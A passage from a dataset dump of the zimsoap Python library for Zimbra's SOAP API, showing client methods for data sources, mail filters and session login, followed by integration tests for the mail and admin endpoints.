data_source example =\n {\n 'pop3': {\n 'leaveOnServer': \"(0|1)\", 'id': 'data-source-id',\n 'name': 'data-source-name',\n 'isEnabled': '(0|1)', 'importOnly': '(0|1)',\n 'host': 'data-source-server', 'port': 'data-source-port',\n 'connectionType': '(cleartext|ssl|tls|tls_is_available)',\n 'username': 'data-source-username',\n 'password': '<PASSWORD>',\n 'emailAddress': 'data-source-address',\n 'useAddressForForwardReply': '(0|1)',\n 'defaultSignature': 'default-signature-id',\n 'forwardReplySignature': 'forward-reply-signature-id',\n 'fromDisplay': 'data-source-from-display',\n 'replyToAddress': 'data-source-replyto-address',\n 'replyToDisplay': 'data-source-replyto-display',\n 'importClass': 'data-import-class',\n 'failingSince': 'data-source-failing-since'\n }\n }\n \"\"\"\n folder = self.create_folder(dest_folder)\n for type_source, source_config in data_source.items():\n data_source[type_source]['l'] = folder['id']\n return self.request('CreateDataSource', data_source)\n\n def get_data_sources(self, types=[], source_addresses=[], source_id=None):\n all_data_sources = self.request('GetDataSources')\n\n data_sources = {}\n if types and source_addresses:\n for t in types:\n data_sources = {t: []}\n if t in all_data_sources and isinstance(all_data_sources[t],\n list):\n for data_source in all_data_sources[t]:\n if data_source['emailAddress'] in source_addresses:\n data_sources[t].append(data_source)\n elif t in all_data_sources and isinstance(all_data_sources[t],\n dict):\n if all_data_sources[t]['emailAddress'] in source_addresses:\n data_sources[t].append(all_data_sources[t])\n\n elif types and not source_addresses:\n for t in types:\n data_sources = {t: []}\n if t in all_data_sources and isinstance(all_data_sources[t],\n list):\n for data_source in all_data_sources[t]:\n data_sources[t].append(data_source)\n elif t in all_data_sources and isinstance(all_data_sources[t],\n dict):\n data_sources[t].append(all_data_sources[t])\n\n elif source_addresses and not types:\n for t in all_data_sources.keys():\n if isinstance(all_data_sources[t], list):\n for data_source in all_data_sources[t]:\n if data_source['emailAddress'] in source_addresses:\n try:\n data_sources[t].append(data_source)\n except KeyError:\n data_sources = {t: []}\n data_sources[t].append(data_source)\n elif isinstance(all_data_sources[t], dict):\n if all_data_sources[t]['emailAddress'] in source_addresses:\n try:\n data_sources[t].append(all_data_sources[t])\n except KeyError:\n data_sources = {t: []}\n data_sources[t].append(all_data_sources[t])\n\n elif source_id:\n for t in all_data_sources.keys():\n data_sources = {t: []}\n if isinstance(all_data_sources[t], list):\n for data_source in all_data_sources[t]:\n if data_source['id'] == source_id:\n data_sources[t].append(data_source)\n elif isinstance(all_data_sources[t], dict):\n if all_data_sources[t]['id'] == source_id:\n data_sources[t].append(all_data_sources[t])\n\n else:\n return all_data_sources\n\n return data_sources\n\n def modify_data_source(self, data_source):\n \"\"\" Modify data source from a dict\n data_source example =\n {\n 'pop3': {\n 'leaveOnServer': \"(0|1)\", 'id': 'data-source-id',\n 'name': 'data-source-name', 'l': 'data-source-folder-id',\n 'isEnabled': '(0|1)', 'importOnly': '(0|1)',\n 'host': 'data-source-server', 'port': 'data-source-port',\n 'connectionType': '(cleartext|ssl|tls|tls_is_available)',\n 'username': 'data-source-username',\n 'password': '<PASSWORD>',\n 'emailAddress': 'data-source-address',\n 'useAddressForForwardReply': '(0|1)',\n 'defaultSignature': 'default-signature-id',\n 'forwardReplySignature': 'forward-reply-signature-id',\n 'fromDisplay': 'data-source-from-display',\n 'replyToAddress': 'data-source-replyto-address',\n 'replyToDisplay': 'data-source-replyto-display',\n 'importClass': 'data-import-class',\n 'failingSince': 'data-source-failing-since'\n }\n }\n \"\"\"\n return self.request('ModifyDataSource', data_source)\n\n def delete_data_source(self, data_source):\n \"\"\"\n Delete data source with it's name or ID.\n data_source = { 'imap': {'name': 'data-source-name'}}\n or\n data_source = { 'pop3': {'id': 'data-source-id'}}\n \"\"\"\n source_type = [k for k in data_source.keys()][0]\n complete_source = self.get_data_sources(\n source_id=data_source[source_type]['id'])\n folder_id = complete_source[source_type][0]['l']\n self.delete_folders(folder_ids=[folder_id])\n return self.request('DeleteDataSource', data_source)\n\n # Filter\n\n def add_filter_rule(\n self, name, condition, filters, actions, active=1, way='in'):\n \"\"\"\n :param: name filter name\n :param: condition allof or anyof\n :param: filters dict of filters\n :param: actions dict of actions\n :param: way string discribing if filter is for 'in' or 'out' messages\n :returns: list of user's zobjects.FilterRule\n \"\"\"\n\n filters['condition'] = condition\n\n new_rule = {\n 'name': name,\n 'active': active,\n 'filterTests': filters,\n 'filterActions': actions\n }\n\n new_rules = [zobjects.FilterRule.from_dict(new_rule)]\n\n prev_rules = self.get_filter_rules(way=way)\n\n # if there is already some rules\n if prev_rules:\n for rule in prev_rules:\n # don't add rule if it already exist\n if rule.name == new_rules[0].name:\n raise ZimSOAPException(\n 'filter %s already exists' % rule.name)\n new_rules = new_rules + prev_rules\n\n content = {\n 'filterRules': {\n 'filterRule': [r._full_data for r in new_rules]\n }\n }\n if way == 'in':\n self.request('ModifyFilterRules', content)\n elif way == 'out':\n self.request('ModifyOutgoingFilterRules', content)\n return new_rules\n\n def get_filter_rule(self, _filter, way='in'):\n \"\"\" Return the filter rule\n\n :param: _filter a zobjects.FilterRule or the filter name\n :param: way string discribing if filter is for 'in' or 'out' messages\n :returns: a zobjects.FilterRule\"\"\"\n if isinstance(_filter, zobjects.FilterRule):\n _filter = _filter.name\n for f in self.get_filter_rules(way=way):\n if f.name == _filter:\n return f\n return None\n\n def get_filter_rules(self, way='in'):\n \"\"\"\n :param: way string discribing if filter is for 'in' or 'out' messages\n :returns: list of zobjects.FilterRule\n \"\"\"\n try:\n if way == 'in':\n filters = self.request(\n 'GetFilterRules')['filterRules']['filterRule']\n elif way == 'out':\n filters = self.request(\n 'GetOutgoingFilterRules')['filterRules']['filterRule']\n\n # Zimbra return a dict if there is only one instance\n if isinstance(filters, dict):\n filters = [filters]\n\n return [zobjects.FilterRule.from_dict(f) for f in filters]\n except KeyError:\n return []\n\n def apply_filter_rule(self, _filter, query='in:inbox', way='in'):\n \"\"\"\n :param: _filter _filter a zobjects.FilterRule or the filter name\n :param: query on what will the filter be applied\n :param: way string discribing if filter is for 'in' or 'out' messages\n :returns: list of impacted message's ids\n \"\"\"\n if isinstance(_filter, zobjects.FilterRule):\n _filter = _filter.name\n\n content = {\n 'filterRules': {\n 'filterRule': {'name': _filter}\n },\n 'query': {'_content': query}\n }\n if way == 'in':\n ids = self.request('ApplyFilterRules', content)\n elif way == 'out':\n ids = self.request('ApplyOutgoingFilterRules', content)\n\n if ids:\n return [int(m) for m in ids['m']['ids'].split(',')]\n else:\n return []\n\n def delete_filter_rule(self, _filter, way='in'):\n \"\"\" delete a filter rule\n\n :param: _filter a zobjects.FilterRule or the filter name\n :param: way string discribing if filter is for 'in' or 'out' messages\n :returns: a list of zobjects.FilterRule\n \"\"\"\n updated_rules = []\n rules = self.get_filter_rules(way=way)\n\n if isinstance(_filter, zobjects.FilterRule):\n _filter = _filter.name\n\n if rules:\n for rule in rules:\n if not rule.name == _filter:\n updated_rules.append(rule)\n\n if rules != updated_rules:\n content = {\n 'filterRules': {\n 'filterRule': [f._full_data for f in updated_rules]\n }\n }\n if way == 'in':\n self.request('ModifyFilterRules', content)\n elif way == 'out':\n self.request('ModifyOutgoingFilterRules', content)\n\n return updated_rules\n\n\nclass ZimbraAPISession:\n \"\"\"Handle the login, the session expiration and the generation of the\n authentification header.\n \"\"\"\n def __init__(self, client):\n self.client = client\n self.authToken = None\n\n def set_end_date(self, lifetime):\n \"\"\"Computes and store an absolute end_date session according to the\n lifetime of the session\"\"\"\n self.end_date = (datetime.datetime.now() +\n datetime.timedelta(0, lifetime))\n\n def login(self, username, password, namespace=None):\n \"\"\" Performs the login against zimbra\n (sends AuthRequest, receives AuthResponse).\n\n :param namespace: if specified, the namespace used for authetication\n (if the client namespace is not suitable for\n authentication).\n \"\"\"\n\n if namespace is None:\n namespace = self.client.NAMESPACE\n\n data = self.client.request(\n 'Auth',\n {\n 'account': zobjects.Account(name=username).to_selector(),\n 'password': {'_<PASSWORD>}\n },\n namespace)\n self.authToken = data['authToken']\n lifetime = int(data['lifetime'])\n\n self.authToken = str(self.authToken)\n self.set_end_date(lifetime)\n\n def import_session(self, auth_token):\n if not isinstance(auth_token, (binary_type, text_type)):\n raise TypeError('auth_token should be a string, not {0}'.format(\n type(auth_token)))\n self.authToken = auth_token\n\n def is_logged_in(self, force_check=False):\n if not self.authToken:\n return False\n\n # if it's logged-in by preauth, we can't know the exp. date for sure\n try:\n return self.end_date >= datetime.datetime.now()\n except AttributeError:\n return True\n\n def is_session_valid(self):\n try:\n self.client.request('Auth',\n {'authToken': {'_content': self.authToken}})\n return True\n except ZimbraSoapServerError:\n return False\n", "id": "173899", "language": "Python", "matching_score": 6.298537254333496, "max_stars_count": 11, "path": "zimsoap/client.py" }, { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\n\"\"\" Integration tests against zimbraMail SOAP webservice\n\nIt has to be tested against a zimbra server (see README.md).\n\"\"\"\n\nimport unittest\nimport random\n\nfrom zimsoap.client import (ZimbraMailClient, ZimbraAdminClient,\n ZimbraSoapServerError)\nfrom zimsoap.zobjects import Task, Contact, Account, FilterRule\nfrom zimsoap import utils\nimport tests\n\nTEST_CONF = tests.get_config()\n\n\nclass ZimbraMailAPITests(unittest.TestCase):\n \"\"\" Test logic and Zimbra Mail SOAP methods \"\"\"\n\n @classmethod\n def setUpClass(cls):\n # Login/connection is done at class initialization to reduce tests time\n cls.zc = ZimbraMailClient(TEST_CONF['host'])\n cls.zc.login(TEST_CONF['lambda_user'], TEST_CONF['lambda_password'])\n\n def setUp(self):\n self.TEST_SERVER = TEST_CONF['host']\n self.TEST_LOGIN = TEST_CONF['lambda_user']\n self.TEST_PASSWORD = <PASSWORD>_CONF['<PASSWORD>']\n self.task_id = None\n self.contact_id = None\n\n \"\"\"\n def tearDown(self):\n # Delete the test task (if any)\n We should use here CancelTaskRequest ?\n \"\"\"\n\n def test_CreateTaskRequest(self):\n xml = \"\"\"\n <m su=\"{subject}\">\n <inv>\n <comp percentComplete=\"0\" name=\"{subject}\">\n <fr>{desc}</fr>\n <desc>{desc}</desc>\n </comp>\n </inv>\n <mp>\n <content></content>\n </mp>\n </m>\n \"\"\".format(\n subject='test_CreateTaskRequest',\n desc='Task Content'\n )\n task = utils.xml_str_to_dict(xml)\n resp = self.zc.request('CreateTask', task)\n\n # store created task id\n self.task_id = resp['calItemId']\n\n def test_GetTaskRequest(self):\n xml = \"\"\"\n <m su=\"{subject}\">\n <inv>\n <comp percentComplete=\"0\" name=\"{subject}\">\n <fr>{desc}</fr>\n <desc>{desc}</desc>\n </comp>\n </inv>\n <mp>\n <content></content>\n </mp>\n </m>\n \"\"\".format(\n subject='test_GetTaskRequest',\n desc='Task Content'\n )\n\n task = utils.xml_str_to_dict(xml)\n resp = self.zc.request('CreateTask', task)\n\n # store created task id\n self.task_id = resp['calItemId']\n\n resp = self.zc.request('GetTask', {'id': self.task_id})\n\n # Just checks success (check on response tag is in request())\n\n\nclass PythonicZimbraMailAPITests(unittest.TestCase):\n \"\"\" Tests the pythonic API, the one that should be accessed by someone\n using the library, zimbraMail features.\n \"\"\"\n\n @classmethod\n def setUpClass(cls):\n # Login/connection is done at class initialization to reduce tests time\n cls.zc = ZimbraMailClient(TEST_CONF['host'])\n cls.zc.login(TEST_CONF['lambda_user'], TEST_CONF['lambda_password'])\n\n def setUp(self):\n self.TEST_SERVER = TEST_CONF['host']\n self.TEST_LOGIN = TEST_CONF['lambda_user']\n self.TEST_PASSWORD = <PASSWORD>['<PASSWORD>']\n self.task_id = None\n\n \"\"\"\n def tearDown(self):\n # Delete the test task (if any)\n We should use here CancelTaskRequest ?\n \"\"\"\n\n def test_login(self):\n zc = ZimbraMailClient(self.TEST_SERVER)\n zc.login(self.TEST_LOGIN, self.TEST_PASSWORD)\n self.assertTrue(zc._session.is_logged_in())\n\n def test_grant_get_revoke_permission(self):\n admin_zc = ZimbraAdminClient(\n TEST_CONF['host'], TEST_CONF['admin_port']\n )\n admin_zc.login(TEST_CONF['admin_login'], TEST_CONF['admin_password'])\n\n right = 'sendAs'\n\n self.zc.grant_permission(\n right=right,\n grantee_name=TEST_CONF['lambda_user2']\n )\n\n perm = self.zc.get_permissions([right])\n self.assertTrue(perm['ace'][0]['d'], TEST_CONF['lambda_user2'])\n\n self.zc.revoke_permission(\n right=right,\n grantee_name=TEST_CONF['lambda_user2']\n )\n perm = self.zc.get_permissions([right])\n self.assertEqual(perm, {'ace': []})\n\n def get_multi_permissions(self):\n admin_zc = ZimbraAdminClient(\n TEST_CONF['host'], TEST_CONF['admin_port']\n )\n admin_zc.login(TEST_CONF['admin_login'], TEST_CONF['admin_password'])\n\n right = 'sendAs'\n\n self.zc.grant_permission(\n right=right,\n grantee_name=TEST_CONF['lambda_user2']\n )\n self.zc.grant_permission(\n right=right,\n grantee_name=TEST_CONF['lambda_user3']\n )\n perm = self.zc.get_permissions()\n self.assertTrue(len(perm['ace']), 2)\n\n self.zc.revoke_permission(\n right=right,\n grantee_name=TEST_CONF['lambda_user2']\n )\n self.zc.revoke_permission(\n right=right,\n grantee_name=TEST_CONF['lambda_user3']\n )\n\n def test_create_task(self):\n subject = 'test_create_task'\n desc = 'Task Content'\n task_id = self.zc.create_task(subject, desc)\n # store created task id\n self.task_id = task_id\n\n self.assertNotEqual(task_id, None)\n\n def test_get_task(self):\n subject = 'test_get_task'\n desc = 'Task Content'\n task_id = self.zc.create_task(subject, desc)\n # store created task id\n self.task_id = task_id\n\n task = self.zc.get_task(task_id)\n self.assertIsInstance(task, Task)\n self.assertEqual(task.id, task_id)\n\n def test_account_delegated_login(self):\n admin_zc = ZimbraAdminClient(TEST_CONF['host'],\n TEST_CONF['admin_port'])\n admin_zc.login(TEST_CONF['admin_login'], TEST_CONF['admin_password'])\n\n new_zc = ZimbraMailClient(TEST_CONF['host'])\n new_zc.delegated_login(TEST_CONF['lambda_user'], admin_zc)\n\n self.assertTrue(new_zc._session.is_logged_in())\n self.assertTrue(new_zc.is_session_valid())\n\n # Raking actions\n\n def test_delete_ranking(self):\n # No means to check it's really deleted because we\n # can't access the list and no error is thrown if\n # there is no entry with this address.\n self.zc.delete_ranking(email='<EMAIL>')\n\n def test_reset_ranking(self):\n # Same as above, no means to check it's really reseted.\n self.zc.reset_ranking()\n\n # Contact\n\n def test_create_get_delete_contact(self):\n random_address = 'email' + str(random.randint(0, 10**9))\n\n # CREATE\n attrs = {'firstName': 'Pierre',\n 'lastName': 'MARTIN',\n 'email': random_address}\n contact = self.zc.create_contact(attrs=attrs)\n\n self.assertIsInstance(contact, Contact)\n self.assertEqual(contact._a_tags.get('email'), random_address)\n\n # GET\n contacts = self.zc.get_contacts(ids=contact.id)\n self.assertIsInstance(contacts[0], Contact)\n\n # MODIFY\n contact = self.zc.modify_contact(\n contact.id, attrs={'firstName': 'Marie'})\n self.assertEqual(contact._a_tags.get('firstName'), 'Marie')\n\n # DELETE\n self.zc.delete_contacts([contact.id])\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_contacts(ids=contact.id)\n\n def test_create_delete_group(self):\n random_address = 'email' + str(random.randint(0, 10**9))\n group_name = 'group_test'\n\n # CREATE\n\n # create a contact to add into the group\n contact_attrs = {\n 'firstName': 'Pierre',\n 'lastName': 'MARTIN',\n 'email': random_address\n }\n contact = self.zc.create_contact(attrs=contact_attrs)\n\n members = [\n {'type': 'C', 'value': contact.id},\n {'type': 'I', 'value': '<EMAIL>'},\n {'type': 'G',\n 'value': 'uid=albacore,ou=people,dc=zimbratest,dc=example,dc=com'}\n ]\n\n group_attrs = {\n 'nickname': group_name,\n }\n\n group = self.zc.create_group(attrs=group_attrs, members=members)\n\n self.assertIsInstance(group, Contact)\n self.assertEqual(group['nickname'], group_name)\n\n # GET\n # Not needed since it's the same for a contact\n\n # MODIFY\n group = self.zc.modify_contact(group.id, members=[\n {'type': 'I', 'value': '<EMAIL>', 'op': '+'}])\n self.assertEqual(len(group.m), 4)\n\n # DELETE\n self.zc.delete_contacts([group.id])\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_contacts(ids=group.id)\n self.zc.delete_contacts([contact.id])\n\n # Conversation\n\n def test_get_move_delete_conversation(self):\n # Adding a message to create a conversation\n with open('tests/data/email.msg') as f:\n message_content = f.read()\n msg = self.zc.add_message(\n message_content,\n folder=\"/Inbox\",\n d='1451579153000'\n )\n\n conv_id = msg['m']['cid']\n # GET\n conv = self.zc.get_conversation(conv_id)\n self.assertEqual(abs(int(conv['c']['m']['id'])), abs(int(conv_id)))\n\n # MOVE\n self.zc.move_conversations(conv_id.split(), 3)\n conv = self.zc.get_conversation(conv_id)\n self.assertEqual(conv['c']['m']['l'], '3')\n\n # DELETE\n self.zc.delete_conversations(conv_id.split())\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_conversation(conv_id)\n\n # Data source_addresses\n\n def test_add_get_update_delete_datasource(self):\n # ADD\n source_dic = {\n 'imap': {\n 'connectionType': 'tls',\n 'emailAddress': '<EMAIL>',\n 'host': 'mail.domain.com',\n 'importOnly': '1',\n 'isEnabled': '0',\n 'leaveOnServer': '0',\n 'name': 'My IMAP account',\n 'password': '<PASSWORD>',\n 'port': '993',\n 'replyToDisplay': 'An Other Name',\n 'useAddressForForwardReply': '0',\n 'username': 'data-source-username'\n }\n }\n created_source = self.zc.create_data_source(source_dic, 'MyImapDir')\n self.assertTrue(created_source)\n\n # GET\n source_id = created_source['imap']['id']\n # get by id\n get_source_by_id = self.zc.get_data_sources(source_id=source_id)\n self.assertEqual(get_source_by_id['imap'][0]['emailAddress'],\n source_dic['imap']['emailAddress'])\n\n # get by source address\n get_source_by_address = self.zc.get_data_sources(\n source_addresses=[source_dic['imap']['emailAddress']])\n self.assertEqual(get_source_by_address['imap'][0]['emailAddress'],\n source_dic['imap']['emailAddress'])\n\n # get by types\n get_source_by_types = self.zc.get_data_sources(types=['imap'])\n self.assertEqual(get_source_by_types['imap'][0]['emailAddress'],\n source_dic['imap']['emailAddress'])\n\n # get by non present types\n get_source_by_ntypes = self.zc.get_data_sources(types=['pop3'])\n self.assertFalse(get_source_by_ntypes['pop3'])\n\n # UPDATE\n new_address = '<EMAIL>'\n created_source['imap']['emailAddress'] = new_address\n self.zc.modify_data_source(created_source)\n updated_source = self.zc.get_data_sources(source_id=source_id)\n self.assertEqual(updated_source['imap'][0]['emailAddress'],\n new_address)\n\n # DELETE\n self.zc.delete_data_source(created_source)\n self.assertFalse(\n self.zc.get_data_sources(source_id=created_source['imap']['id']))\n\n # Message\n\n def test_add_get_update_delete_message(self):\n # ADD\n with open('tests/data/email.msg') as f:\n message_content = f.read()\n msg = self.zc.add_message(\n message_content,\n folder=\"/Inbox\",\n d='1451579153000'\n )\n\n self.assertEqual(msg['m']['d'], '1451579153000')\n\n # GET\n msg_id = msg['m']['id']\n msg_get = self.zc.get_message(msg_id)\n\n self.assertEqual(msg_id, msg_get['m']['id'])\n\n # MOVE\n self.zc.move_messages([msg_id], '3')\n\n self.zc.update_messages_flag([msg_id], 'f')\n msg_get_after_mod = self.zc.get_message(msg_id)\n\n self.assertEqual(msg_get_after_mod['m']['l'], '3')\n self.assertEqual(msg_get_after_mod['m']['f'], 'f')\n\n # DELETE\n self.zc.delete_messages(msg['m']['id'].split())\n\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_message(msg['m']['id'])\n\n # Filter\n\n def add_get_apply_delete_filters(self):\n filter_name = \"zimsoap_test_filter\"\n sender = \"<EMAIL>\"\n rule = {\n 'addressTest': {\n 'part': 'all',\n 'stringComparison': 'matches',\n 'index': '0',\n 'value': sender,\n 'header': 'from'\n }\n }\n\n action = {\n 'actionFileInto': {\n 'folderPath': '7',\n 'index': '0'\n },\n 'actionStop': {'index': '1'}}\n\n # ADD\n rules = self.zc.add_filter_rule(\n name=filter_name,\n condition='allof',\n filters=rule,\n actions=action\n )\n self.assertEqual(rules[0].name, filter_name)\n\n # GET\n # test get with string\n _filter = self.zc.get_filter_rule(filter_name)\n self.assertEqual(_filter.name, filter_name)\n # get with zobjects.FilterRule\n _filter = self.zc.get_filter_rule(_filter)\n self.assertEqual(_filter.name, filter_name)\n\n all_filters = self.zc.get_filter_rules()\n self.assertIsInstance(all_filters[0], FilterRule)\n\n # Outgoing filters should not be found\n out_filter = self.zc.get_filter_rule(filter_name, way='out')\n self.assertEqual(out_filter, None)\n\n # APPLY\n applied = self.zc.apply_filter_rule(_filter, query='in:inbox')\n self.assertEqual(applied, [])\n\n # DELETE\n # delete with string\n rules = self.zc.delete_filter_rule(_filter.name)\n self.assertEqual(rules, [])\n # delete with zobjects.FilterRule\n self.zc.add_filter_rule(\n name=filter_name,\n condition='allof',\n filters=rule,\n actions=action\n )\n rules = self.zc.delete_filter_rule(_filter)\n self.assertEqual(rules, [])\n\n # Folder\n\n def test_create_delete_folder(self):\n folder_name = 'TestingFolder'\n folder = self.zc.create_folder(folder_name)\n new_folder = self.zc.get_folder(f_id=folder['id'])['folder']\n self.assertEqual(folder_name, new_folder['name'])\n\n self.zc.delete_folders(folder_ids=[new_folder['id']])\n with self.assertRaises(ZimbraSoapServerError):\n self.zc.get_folder(f_id=new_folder['id'])\n\n def test_get_folder(self):\n folder = self.zc.get_folder(path=\"/Inbox\")\n self.assertEqual(folder['folder']['id'], '2')\n\n def test_folder_grant_mount_revoke(self):\n admin_zc = ZimbraAdminClient(TEST_CONF['host'],\n TEST_CONF['admin_port'])\n admin_zc.login(TEST_CONF['admin_login'], TEST_CONF['admin_password'])\n\n grantee_zc = ZimbraMailClient(TEST_CONF['host'])\n grantee_zc.delegated_login(TEST_CONF['lambda_user2'], admin_zc)\n\n grantee_id = admin_zc.get_account(\n Account(name=TEST_CONF['lambda_user2'])\n )._a_tags['zimbraId']\n\n right = 'rwidx'\n self.zc.modify_folder_grant(\n folder_ids=['1'],\n perm=right,\n zid=grantee_id\n )\n\n f_gt = self.zc.get_folder_grant(path='/')\n self.assertEqual(f_gt['grant']['perm'], right)\n self.assertEqual(f_gt['grant']['d'], TEST_CONF['lambda_user2'])\n\n mount_name = 'MountedZimsoapTest'\n grantee_zc.create_mountpoint(\n name=mount_name,\n path='/',\n owner=TEST_CONF['lambda_user'],\n l='1'\n )\n mount_path = '/' + mount_name\n link = grantee_zc.get_mountpoint(path=mount_path)['link']\n self.assertEqual(link['name'], mount_name)\n self.assertEqual(link['owner'], TEST_CONF['lambda_user'])\n\n # Clean grantee\n grantee_zc.delete_mountpoints(folder_ids=[link['id']])\n\n # Revoke rights\n self.zc.modify_folder_grant(\n folder_ids=['1'],\n perm='none',\n zid=grantee_id\n )\n f_gt = self.zc.get_folder_grant(path='/')\n self.assertEqual(f_gt, {})\n\n # Search\n\n def test_search(self):\n with open('tests/data/email.msg') as f:\n message_content = f.read()\n msg = self.zc.add_message(\n message_content,\n folder=\"/Inbox\",\n d='1451579153000'\n )\n msg_req = self.zc.search(query=\"in:/Inbox date:12/31/15\")\n\n # Clean\n self.zc.delete_messages(msg['m']['id'].split())\n\n self.assertEqual(msg['m']['id'], msg_req['c']['m']['id'])\n\n\nclass ZobjectTaskTests(unittest.TestCase):\n \"\"\" Tests the Task zobject.\n \"\"\"\n\n def test_to_creator(self):\n task = Task()\n subject = 'Task Subject'\n desc = 'Task Content'\n\n req = task.to_creator(subject, desc)\n self.assertEqual(req['m']['su'], subject)\n self.assertEqual(req['m']['inv']['comp']['fr']['_content'], desc)\n self.assertEqual(req['m']['inv']['comp']['desc']['_content'], desc)\n", "id": "8498240", "language": "Python", "matching_score": 6.144995212554932, "max_stars_count": 11, "path": "tests/test_zimbra_mail.py" }, { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\n\"\"\" Integration tests against zimbraAdmin SOAP webservice\n\nIt has to be tested against a zimbra server (see README.md)\n\"\"\"\n\nimport unittest\nimport random\nfrom zimsoap.client import (\n DomainHasNoPreAuthKey, ZimbraAccountClient, ZimbraAdminClient,\n ZimbraAPISession, ZimbraSoapServerError)\nfrom zimsoap.zobjects import (\n Account, CalendarResource, ClassOfService, COS, DistributionList, Domain,\n Mailbox, Server)\ntry:\n from urllib2 import URLError\nexcept ImportError:\n from urllib.request import URLError\nfrom six import text_type, binary_type, assertRegex\n\nimport tests\n\nTEST_CONF = tests.get_config()\n\n\nclass ZimbraAdminClientTests(unittest.TestCase):\n def setUp(self):\n self.TEST_SERVER = TEST_CONF['host']\n self.TEST_LOGIN = TEST_CONF['admin_login']\n self.TEST_PASSWORD = TEST_CONF['admin_password']\n self.TEST_ADMIN_PORT = TEST_CONF['admin_port']\n self.LAMBDA_USER = TEST_CONF['lambda_user']\n self.SERVER_NAME = TEST_CONF['server_name']\n\n def testLogin(self):\n zc = ZimbraAdminClient(self.TEST_SERVER, self.TEST_ADMIN_PORT)\n zc.login(self.TEST_LOGIN, self.TEST_PASSWORD)\n self.assertTrue(zc._session.is_logged_in())\n\n def testBadLoginFailure(self):\n with self.assertRaises(ZimbraSoapServerError) as cm:\n zc = ZimbraAdminClient(self.TEST_SERVER, self.TEST_ADMIN_PORT)\n zc.login('<EMAIL>', self.TEST_PASSWORD)\n\n self.assertIn('authentication failed', cm.exception.msg)\n\n def testBadPasswordFailure(self):\n with self.assertRaises(ZimbraSoapServerError) as cm:\n zc = ZimbraAdminClient(self.TEST_SERVER, self.TEST_ADMIN_PORT)\n zc.login(self.TEST_LOGIN, 'badpassword')\n\n self.assertIn('authentication failed', cm.exception.msg)\n\n def testBadHostFailure(self):\n with self.assertRaises(URLError):\n zc = ZimbraAdminClient('nonexistanthost.example.com',\n self.TEST_ADMIN_PORT)\n zc.login(self.TEST_LOGIN, self.TEST_PASSWORD)\n\n def testBadPortFailure(self):\n with self.assertRaises(URLError):\n zc = ZimbraAdminClient(self.TEST_SERVER, 9999)\n zc.login(self.TEST_LOGIN, self.TEST_PASSWORD)\n\n\nclass ZimbraAdminClientRequests(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n # Login/connection is done at class initialization to reduce tests time\n cls.zc = ZimbraAdminClient(TEST_CONF['host'], TEST_CONF['admin_port'])\n cls.zc.login(TEST_CONF['admin_login'], TEST_CONF['admin_password'])\n\n def setUp(self):\n self.EXISTANT_DOMAIN = TEST_CONF['domain_1']\n self.EXISTANT_MBOX_ID = \"d78fd9c9-f000-440b-bce6-ea938d40fa2d\"\n # Should not exist before the tests\n self.TEST_DL_NAME = 'unittest-test-list-1@%s' % self.EXISTANT_DOMAIN\n\n def tearDown(self):\n # Try to delete a relief test distribution list (if any)\n try:\n resp = self.zc.request('GetDistributionList', {\n 'dl': {'by': 'name', '_content': self.TEST_DL_NAME}\n })\n\n dl_id = resp['dl']['id']\n self.zc.request('DeleteDistributionList', {'id': dl_id})\n\n except ZimbraSoapServerError:\n pass\n\n def testGetAllAccountsReturnsSomething(self):\n resp = self.zc.request('GetAllAccounts')\n self.assertTrue(('account' in resp), list)\n self.assertIsInstance(resp['account'], list)\n\n def testGetAlllCalendarResourcesReturnsSomething(self):\n resp = self.zc.request_list('GetAllCalendarResources')\n self.assertIsInstance(resp, list)\n\n def testGetAllDomainsReturnsSomething(self):\n resp = self.zc.request('GetAllDomains')\n self.assertTrue(('domain' in resp), list)\n self.assertIsInstance(resp['domain'], list)\n\n def testGetDomainReturnsDomain(self):\n resp = self.zc.request('GetDomain', {'domain': {\n 'by': 'name',\n '_content': self.EXISTANT_DOMAIN\n }})\n self.assertIsInstance(resp, dict)\n self.assertTrue('domain' in resp)\n self.assertIsInstance(resp['domain'], dict)\n\n def testGetMailboxStatsReturnsSomething(self):\n resp = self.zc.request('GetMailboxStats')\n self.assertTrue('stats' in resp)\n self.assertIsInstance(resp['stats'], dict)\n\n def testCountAccountReturnsSomething(self):\n \"\"\"Count accounts on the first of domains\"\"\"\n\n resp = self.zc.request_list(\n 'CountAccount',\n {'domain': {'by': 'name', '_content': self.EXISTANT_DOMAIN}}\n )\n first_cos = resp[0]\n self.assertTrue('id' in first_cos)\n\n # will fail if not convertible to int\n self.assertIsInstance(int(first_cos['_content']), int)\n\n def testGetMailboxRequest(self):\n try:\n EXISTANT_MBOX_ID = self.testGetAllMailboxes()[0]['accountId']\n except Exception as e:\n raise e('failed in self.testGetAllMailboxes()')\n\n resp = self.zc.request(\n 'GetMailbox', {'mbox': {'id': EXISTANT_MBOX_ID}})\n self.assertIsInstance(resp['mbox'], dict)\n self.assertTrue('mbxid' in resp['mbox'])\n\n def testGetAllMailboxes(self):\n resp = self.zc.request('GetAllMailboxes')\n mailboxes = resp['mbox']\n self.assertIsInstance(resp['mbox'], list)\n return mailboxes\n\n def testCreateGetDeleteDistributionList(self):\n \"\"\" As Getting and deleting a list requires it to exist\n a list to exist, we group the 3 tests together.\n \"\"\"\n\n def createDistributionList(name):\n resp = self.zc.request('CreateDistributionList', {'name': name})\n\n self.assertIsInstance(resp['dl'], dict)\n\n def getDistributionList(name):\n resp = self.zc.request('GetDistributionList',\n {'dl': {'by': 'name', '_content': name}})\n\n self.assertIsInstance(resp['dl'], dict)\n self.assertIsInstance(resp['dl']['id'], text_type)\n return resp['dl']['id']\n\n def deleteDistributionList(dl_id):\n self.zc.request('DeleteDistributionList', {'id': dl_id})\n\n # Should not exist\n with self.assertRaises(ZimbraSoapServerError):\n getDistributionList(self.TEST_DL_NAME)\n\n createDistributionList(self.TEST_DL_NAME)\n\n # It should now exist\n list_id = getDistributionList(self.TEST_DL_NAME)\n\n deleteDistributionList(list_id)\n\n # Should no longer exists\n with self.assertRaises(ZimbraSoapServerError):\n getDistributionList(self.TEST_DL_NAME)\n\n def testCheckDomainMXRecord(self):\n domain = {'by': 'name', '_content': self.EXISTANT_DOMAIN}\n try:\n 